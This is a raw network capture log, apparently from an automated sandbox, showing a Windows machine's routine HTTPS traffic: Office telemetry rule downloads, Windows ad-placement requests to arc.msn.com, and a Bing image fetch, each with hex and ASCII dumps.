2024-11-24 03:20:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032026Z-174c587ffdf9xbcchC1TEBxkz400000003kg00000000thyr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032026Z-174c587ffdf8lw6dhC1TEBkgs800000003u000000000fvu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e7bb18f6-501e-000a-54a9-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032026Z-174c587ffdfp4vpjhC1TEBybqw00000003tg00000000h35x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49747	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032022Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=17313b8ac33f4801a127d30238601219&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338388&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p= Cache-Control: no-cache MS-CV: 3A8UQf5+PEiE24SX.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:27 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3761 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: Ue6B1H2HbpBdV1PJcMQCyRxeSsW1EcDZ6loMzxXJcPALlPOBHpMjiVvl7LDQK70pnBJyWv9KC3zj8r7Z3D5/APmBYsZEBIvusZLTDR3xOiHjM5YfFzD6fdgPAtEpdOhncmejCh3zAhgckj210kW2/gXzgmzoTkRy1FOEKksf/mWR/y5qhuv+IoQvndIOoHdJh1aC7CSMNqwJzom85EHKTD2svq4wGG4G0xymWt4E+u8jHcSxwKBFA+o5Yu91iZmgJ8IFVtpszNimDWi+MMv0vZ04osWS9Nu3gE1OvfMnpFoixH7Ngye+hvILJd2syFW3yjFsM32Hu+H7faTKrIqhkQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:26 GMT Connection: close
2024-11-24 03:20:27 UTC	3761	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49746	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	2591	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032022Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=84866e6b041e45e7b7ef2b5d557ee125&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p= Cache-Control: no-cache MS-CV: 3A8UQf5+PEiE24SX.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-24 03:20:27 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2943 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: EPnCtkBmMlC6wtKP8OJuyMFm0j/D9umA480QTgb+Azy7XmN9ej4iy7zn/LcVlIk0i0+5WDbdZlisrY3ogJe/1xjEpdw4D9gWYDGZLswY8Reft2drUgaegjbaJTOeFgxr8+2TRLo9U2WRHrnE+AQASL8aY0/P4lv+jiFieHVunkSV3CqDCyF2cfIcavvc3XowBi4zEts9m0nd9FOrH86iVdIcRHVSnQ5/oJCB/uR1m1X/WLYpv6ceGvbuVpv4QmRO0OWJdoQr7wYYaraWXWKaocznmTzQRAJPNcyksR6TcJVkLgF7cXZQ/uKaoV5NWLNkEjrY2RzJOJv3KV81kxdn9A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:26 GMT Connection: close
2024-11-24 03:20:27 UTC	2943	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49753	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:27 UTC	375	OUT	GET /th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-24 03:20:27 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 700910 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 861A986A4F994458A5A85B946983116F Ref B: EWR30EDGE1408 Ref C: 2024-11-24T03:20:27Z Date: Sun, 24 Nov 2024 03:20:27 GMT Connection: close
2024-11-24 03:20:27 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 70 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 32 20 30 39 3a 34 35 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``pExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:12 09:45:308
2024-11-24 03:20:27 UTC	16384	IN	Data Raw: dc 2d 3b cd dd 59 f1 9f e2 a9 e3 7f ef 56 2e 07 64 2b 36 59 5f 9a ad 43 b5 63 aa 2b 2e df bd 4e 59 ea 1c 59 d1 09 a4 cd 05 7c a5 0d 54 e3 97 fb b5 65 7e 68 eb 2b 1d 0a 57 21 99 15 6a 06 3b 6a d4 89 ba 3a ad 34 55 71 66 75 23 d8 85 9e 9c ae cd 4b e5 ed f9 5a 9f 1d bb 79 95 7c c8 ce 31 95 f4 25 b5 dc b5 72 12 cd f7 aa bc 31 35 5a 8e 37 58 eb 9e a6 a8 ee a5 16 b7 0c bd 23 1d b1 d3 f6 ee a6 b4 75 99 b1 04 87 75 26 76 d4 92 22 ff 00 0d 31 85 68 64 c6 6e dd 4a b4 8a 36 fd da 75 02 57 ea 2e 29 79 a6 35 25 05 16 63 7a 95 65 5a a8 bf eb 2a 65 f9 ab 39 24 6b 09 74 27 56 cd 3a a3 53 52 2d 66 6c b7 17 34 8d 43 50 a3 75 51 4c 86 40 d4 2a 54 db 68 61 b7 ee d3 b8 ad 61 98 a5 51 4e db ba 9c d1 e2 a6 e8 a4 86 ad 49 48 a9 4b 50 cd 05 c5 25 3b 63 35 0d 1b 50 52 8b 62 66 93 Data Ascii: -;YV.d+6Y_Cc+.NYY\|Te~h+W!j;j:4Uqfu#KZy\|1%r15Z7X#uu&v"1hdnJ6uW.)y5%czeZe9$kt'V:SR-fl4CPuQL@ThaaQNIHKP%;c5PRbf
2024-11-24 03:20:27 UTC	16384	IN	Data Raw: 82 9b e4 53 e7 f3 17 b2 66 76 c7 a3 15 a0 d1 54 4d 15 1c d7 27 d9 b2 a6 29 b8 7a b9 e5 37 ad 23 5b b5 3e 64 2e 49 76 29 c9 b9 be 5a 8b cb 66 ab ed 68 d4 7d 91 ea f9 d0 bd 9c 8a 1e 55 1e 55 5d 6b 66 a6 b4 0d 47 b4 17 23 2b f9 6a b4 2a 55 9f 2f fd 8a 4d 94 b9 82 cc 8b 14 6c a9 76 bd 35 92 8b 80 cc 52 54 9b 1e 93 63 d1 cc 80 89 82 d3 bc b1 52 6d a7 6c a7 74 04 3e 5d 2a a5 4b e5 d1 b2 8b a0 23 d9 4e 54 a7 ec 6a 55 0d 53 cc 01 1a 62 9d 45 3a a4 ae 51 56 96 91 6a 68 63 a0 b4 ae 22 a5 4d 18 a5 50 ab 4b be 95 cd 03 3b 69 b2 3b 52 e5 2a 19 0e ea 10 9e 88 63 1a 6f 34 e6 a6 d3 32 6a e1 4e a4 c5 18 a0 5c a2 ee f7 a5 cd 31 45 3b 6f b5 02 e5 62 e6 96 93 14 e5 14 0f 94 31 46 29 d8 a5 a0 ab 58 6e ca 36 53 f1 4b 40 0d db 46 d5 a5 c5 2e ca 00 f9 0e 8d be d5 63 cb a3 cb af Data Ascii: SfvTM')z7#[>d.Iv)Zfh}UU]kfG#+jU/Mlv5RTcRmlt>]K#NTjUSbE:QVjhc"MPK;i;R*co42jN\1E;ob1F)Xn6SK@F.c
2024-11-24 03:20:27 UTC	16384	IN	Data Raw: 9f 74 87 6b 3a 46 ff 00 27 f0 ff 00 08 e3 6d 7a 3f 85 7e 34 5c db f8 e3 5c f0 ef 8a b4 d8 19 b4 db eb 48 2d 2e 74 97 69 7c e8 e7 8c ed 73 8c e4 ee 1f 37 4d bc fa 57 96 f8 ba df c4 2d aa f8 ff 00 52 d4 12 4d 37 4b f1 1d c5 ba e9 da 4d c5 ac 92 b6 d8 2e b6 cd 3c 81 55 d1 7c c6 4d 8b 2b ed dd bb 8e 29 b9 a6 b4 35 a7 15 f0 b6 70 fe 17 f1 ee b5 aa 78 ff 00 50 f0 0d af 89 27 d2 34 3d 0d d6 2b 1f ec bd ad bd 93 83 2a 12 ca db 59 b7 31 db 9f bd d1 ba 57 d1 7f 06 fe 22 5e 5e ea a9 e1 5f 15 5b c7 61 a8 25 8b 35 a4 2f 04 91 4b 37 97 ee ff 00 7b 72 6d 61 eb cd 7c 4d f1 1b 4c f1 8f 80 fc 7e fe 22 b3 8e f9 6f b5 29 a3 68 7e d6 9b 99 d8 f3 fb c8 ff 00 85 ba ed ff 00 76 ba ff 00 83 77 f7 3f 15 6f bf b1 61 82 ea f3 c4 91 5a 48 af 35 dd d2 c5 f3 27 cf c3 6d d9 12 77 6d dd Data Ascii: tk:F'mz?~4\\H-.ti\|s7MW-RM7KM.<U\|M+)5pxP'4=+*Y1W"^^_[a%5/K7{rma\|ML~"o)h~vw?oaZH5'mwm
